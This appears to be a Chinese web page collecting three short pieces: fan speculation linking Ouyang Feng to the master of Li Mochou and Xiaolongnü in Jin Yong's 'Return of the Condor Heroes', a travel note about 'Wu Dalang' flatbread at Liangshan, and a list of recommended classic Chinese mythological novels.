    小龙女道:“师父深居古墓,极少出外,有一年师姐在外面闯了祸,逃回终南山来,师父出墓接应,竟中了敌人的暗算。师父虽然吃了亏,还是把师姐接了回来,也就算了,不再去和那恶人计较,岂知那恶人得寸进尺,隔不多久,便在墓外叫嚷挑战,后来更强攻入墓,师父抵挡不住,险些便要放断龙石与他同归于尽,幸得在危急之际发动机关,又突然发出金针。那恶人猝不及防,为金针所伤,麻痒难当,师父乘势点了他的穴道,制得他动弹不得,岂知师姐竟偷偷解了他的穴道。那恶人突起发难,师父才中了他的毒手。”

    小龙女道:“孙婆婆说,打伤我师父的,一定是西毒欧阳锋。她说世上能伤得我师父的人寥寥无几,只有欧阳锋是出名的坏人。我师父至死都不肯说那恶人的名字。孙婆婆问她:‘是不是欧阳锋,是不是欧阳锋?’师父总是摇头,微笑了一下,便此断气了。”

    杨过道:“我义父被师祖点了穴道,不是李莫愁解的,其实当时师祖没有点中!”小龙女道:“没有点中?不会的。师父的点穴手断高明得很。”杨过道:“我义父有一门天下独二的奇妙武功,全身经脉能够逆行。经脉一逆,所有穴道尽皆移位,点中了也变成点不中。”

    通过上面的情节,可知欧阳锋与李莫愁及其师父是有一定瓜葛的。

    欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    先说欧阳锋与李莫愁。

    这一老一少未必便有什么较深交往,因为李莫愁一生痴情于陆展元,于他人他事并无多少想法。她被欧阳锋追杀,可能只是其行走江湖、滥杀无辜时惹到了他。

    再说欧阳锋与李莫愁小龙女的师父。

    关于这位林朝英的弟子,书中一直语焉不详,颇为神秘。

    有一种脑洞大开的说法是:李莫愁小龙女的师父是欧阳锋的旧相识,或者干脆就是曾与之私通的嫂子。理由有二:

    一、欧阳锋追踪李莫愁却不下杀手,是从她身上某些方面(譬如武功)看到了其嫂的痕迹,于是一路追踪到古墓,为的便是与其嫂相见。在被拒绝后,欧阳锋便强攻古墓,终至为金针所伤。

    二、李莫愁的师父虽为欧阳锋打伤,却始终不肯说出“那恶人的名字”,甚至在临死前还“微笑了一下”。这一细节很可疑,她至死不说欧阳锋之名,只怕不是为避免后代冤冤相报那么简单,想来,她不光认识欧阳锋,而且与其有难以言说的往事。

    当然,说李莫愁师父便是欧阳锋嫂子,有个破绽是:《神雕侠侣》中显示,这女子十四五岁便在古墓中侍奉林朝英了,后来何以会出古墓而嫁到西域?

    关于这一点,网上又有个说法是:林朝英为帮王重阳对付心腹大患欧阳锋,派女弟子卧底欧阳家,爱上欧阳锋,却嫁给其兄,以造成兄弟俩的裂痕,终至二人以死相拼,欧阳锋杀兄夺嫂,欧阳家的势力由此大损……

    这一说法,不仅是脑洞大开,简直是匪夷所思,转述来与大家交流。

    欧阳锋的嫂子,会不会是李莫愁与小龙女的师父?

    以上便是欧阳锋与生命中几个女人的故事。简单总结一下就是:

    一、欧阳锋与瑛姑有共同的敌人一灯大师,于是二人曾在某个时间段结为利益共同体,过从甚密;

    二、欧阳锋与其嫂有私情,但书中关于此事及此女人并无正面描述;

    三、欧阳锋的嫂子很可能便是林朝英的传人、李莫愁小龙女的师父,欧阳锋通过追踪李莫愁寻找到她,二人却没能重新回到过去……

  • 这才是心中的武大郎 武大郎炊饼好找,武大郎难寻

    摘要:日前重游了水泊梁山。在这个本应该大碗喝酒、大块吃肉、大秤分金银的所在。粗犷之下,也发现了不少细腻文化的元素!这才是心中的武大郎武大郎炊饼好找,武大郎难寻!梁山某酒店为了凸显水浒传梁山文化。专门做了武大

    日前重游了水泊梁山。在这个本应该大碗喝酒、大块吃肉、大秤分金银的所在。粗犷之下,也发现了不少细腻文化的元素!这才是心中的武大郎 武大郎炊饼好找,武大郎难寻!

    梁山某酒店为了凸显水浒传梁山文化。专门做了武大郎炊饼。炊饼焦软可口。炊饼是不是武大郎炊饼不知道。但卖炊饼的“武大郎”。个头气质,想象中就应该是这个样的!

    这才是心中的武大郎  武大郎炊饼好找,武大郎难寻

  • 除了《西游记》,这些神话志怪小说同样值得一读

    作为中国四大名著之一的《西游记》名声实在太大,加上各种影视剧的改版,《西游记》成为了家喻户晓的神话小说。所以说起神话小说,大家第一时间想到的就是《西游记》,西游记成书于成书于16世纪中叶,明代嘉靖与万历之间。这个时间段正是朝廷权力斗争最激烈的时候,而《西游记》里有许多情节隐射了当时的朝政,这也让《西游记》的内涵得到进一步的升华。

    但是中华上下五千年,有数不尽书的神话故事,所以也诞生了不少精彩绝伦的神话小说。除了《西游记》,以下这些神话小说也值得一读。

    《山海经》

    《山海经》是先秦古籍,具体的成书时间和作者都不详,《山海经》是一部富于神话传说的最古老的地理书。虽然《山海经》主要是记录古代地理、物产、神话、巫术、宗教等,也包括古史、医药、民俗、民族等方面的内容,但是里面也记录了许多古代神话故事,几乎囊括了远古的神话故事,包括《女娲补天》、《精卫填海》、《夸父逐日》和《大禹治水》等等。

    《山海经》里面记录了许多神乎其神的故事,也有许多神兽,包括凤凰、鲲鹏、九尾狐等等,还有去年张艺谋导演的大片《长城》,里面怪兽饕餮就是出自《山海经》。

    除了《西游记》,这些神话志怪小说同样值得一读

    山海经

    《搜神记》

    《搜神记》是一部记录古代民间传说中神奇怪异故事的小说集,作者是东晋的史学家干宝。《搜神记》内容十分丰富,有谶纬神学、有神仙变幻,有精灵物怪,有妖祥卜梦,还有人神、人鬼的爱情故事等。

    《搜神记》最有名的故事应该就是《董永》和《干将莫邪》,前者是凄美的人神之恋,后者是奇幻的复仇故事。

    除了《西游记》,这些神话志怪小说同样值得一读

    搜神记

    《封神演义》

    《封神演义》和《镜花缘》、《聊斋志异》、《济公传》合称中国古代四大神怪小说。《封神演义》是明代道士许仲琳(一说为陆西星)所著的神魔小说。主要以姜子牙辅佐周室(周文王、周武王)讨伐商纣的历史为背景,描写了昆仑山元始天尊为代表的阐教、东海蓬莱岛通天教主为代表截教诸仙斗智斗勇、破阵斩将封神的故事。

    《封神演义》跟《西游记》一样是章回体小说,小说的故事结构宏大,里面许多情节也成为了典故,比如《哪吒闹海》、《姜太公钓鱼》等。《封神演义》故事发生在《西游记》之前,里面的很多人物形象在《西游记》里面也有出现。

    除了《西游记》,这些神话志怪小说同样值得一读

    封神演义

    《聊斋志异》

    《聊斋志异》简称《聊斋》,俗名《鬼狐传》,是中国清朝著名小说家蒲松龄创作的文言短篇小说集。《聊斋志异》的篇幅都不长,有的篇幅仅有一两百字,但是也可以将完整一个故事。据称,蒲松龄为了写《聊斋志异》,在他的家乡柳泉旁边摆茶摊,请过路人讲奇异的故事,讲完了回家加工,就成了《聊斋志异》。所以里面的故事又长又短,故事也有优有劣。

    《聊斋》塑造了许多的鬼怪和狐仙的形象,最有名的莫过于《聂小倩》。

    除了《西游记》,这些神话志怪小说同样值得一读

    聊斋志异

    《济公传》

    《济公传》主要讲述济公济困扶危,惩治强梁,与为富不仁者作对的故事。叙济公原名李修缘,系“罗汉转世”,二十七岁出家灵隐寺。他不戒酒肉,佯狂似颠,故称济颠,曾治愈宰相秦熹之子病,为秦子之替修。

    除了《西游记》,这些神话志怪小说同样值得一读

    济公传

    《镜花缘》

    《镜花缘》,是清代文人李汝珍所作的长篇小说。该书前半部分描写了唐敖、多九公等人乘船在海外游历的故事,包括他们在女儿国、君子国、无肠国等国的经历史。后半部写了武则天科举选才女,由百花仙子托生的唐小山及其他各花仙子托生的一百位才女考中,并在朝中有所作为的故事。其神幻诙谐的创作手法数经据典,奇妙地勾画出一幅绚丽斑斓的天轮彩图。

    《镜花缘》相比其它神话小说名气小很多,但是并不说明它的故事不精彩。

    除了《西游记》,这些神话志怪小说同样值得一读

    镜花缘

    《阅微草堂笔记》

    《阅微草堂笔记》纪晓岚以笔记形式所编写成的文言短篇志怪小说。

    《阅微草堂笔记》主要搜辑各种狐鬼神仙、因果报应、劝善惩恶等当时代前后的流传的乡野怪谭,或亲身所听闻的奇情轶事;在空间地域上,其涵盖的范围则遍及全中国,远至乌鲁木齐、伊宁、滇黔等地。《阅微草堂笔记》的口味略重,看完会发现纪晓岚原来是这样的一个人,跟电视剧中的完全不一样。

    除了《西游记》,这些神话志怪小说同样值得一读

    阅微草堂笔记